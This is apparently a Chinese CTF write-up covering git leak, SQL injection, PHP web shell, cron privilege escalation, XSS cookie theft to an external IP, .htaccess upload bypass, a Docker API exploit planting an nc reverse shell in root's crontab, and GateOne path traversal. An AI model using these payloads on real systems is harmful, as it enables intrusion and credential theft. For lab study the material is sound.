Web-Git

flag1

git泄露,使用git_extract提取所有的提交记录

flag2

通过外网站点的sql注入能拿到admin账密

网站有个现成图片马,蚁剑连上后翻数据库能找到ryan用户账密以及邮箱
或者写个post马也可以

1
?a=file_put_contents('2.php','<?php eval($_POST[0]);');

110 端口是个 pop3 服务
登录pop3就能拿到flag了

flag3

在数据库可以发现ryan用户的密码
直接 su 切换到 ryan 用户,然后用 grep 搜 /var 文件夹得到 flag3

1
grep -r -n flag

flag4

内网部分
扫描得到 /backup/www.zip
sqlhelper.php 存在反序列化
写马进去后,查看 /home 目录,发现 gitlab 文件夹可访问,里面有一个 lookme ,是 flag4

flag5

在 /home/ryan 目录下存在一个 del.py 文件

1
2
3
4
5
6
7
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()

可读可写可执行,存在计划任务提权
修改为

1
2
3
4
5
6
7
#!/usr/bin/env python
import os
import sys
try:
os.system('chomd u+s /usr/bin/bash')
except:
sys.exit()

执行 python 脚本后执行命令 /usr/bin/bash -p 即可提权至root
在 /root 目录下发现 aim.jpg 文件,打开查看为 flag5

CCB2025

flag1

入口环境中管理员每5分钟会进行登录
feedback.html 处明显是一个xss

1
<script>fetch('http://192.168.173.251:666/'+document.cookie);</script>

测试发现通自己的机器,nc守株待兔拿到cookie

成功进入dashboard.php
想起来之前 feedback.html 可以传马
在 dashboard 这里可以看到上传的文件会传到 http://172.18.173.20/feedbacks_uploads_Files/
测试发现过滤了.php
使用 .htaccess 和 png 组合拳拿shell

1
2
3
<FilesMatch "1.png">
Sethandler application/x-httpd-php
</FilesMatch>

flag2

22375端口上面有一个 docker-api 未授权可以直接扫出来
访问 /version 可以返回信息

exp.py

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://vuln-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.236.196 23333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

创建容器,挂载主机的/etc目录,并向 root 用户的 crontab 添加一个反弹 shell 命令
注意:此脚本针对 centos 系统可以反弹shell,ubuntu 系统不反弹

另一种方法:
docker 有远程连接命令,由于2375端口暴露,所以可以未授权访问

1
2
docker -H tcp://vuln-ip:2375/ ps
docker -H tcp://vuln-ip:2375/ images

需要启动一个有交互的shell,并且是特权镜像

当操作者执行docker run –privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限

1
docker -H tcp://vuln-ip:2375 run --privileged=true -it -v /:/tmp alpine /bin/sh

flag3

是一个 GateOne 服务
应该是任意文件读取的洞
/downloads/ 路由存在目录穿越可以读取任意文件
gateone/core/server.py:
alt text
这里直接把 path 用os.path.join拼进去了,那就无脑目录穿越
alt text

数据管理系统

flag1

入口一个pwn
打通后base64提权读flag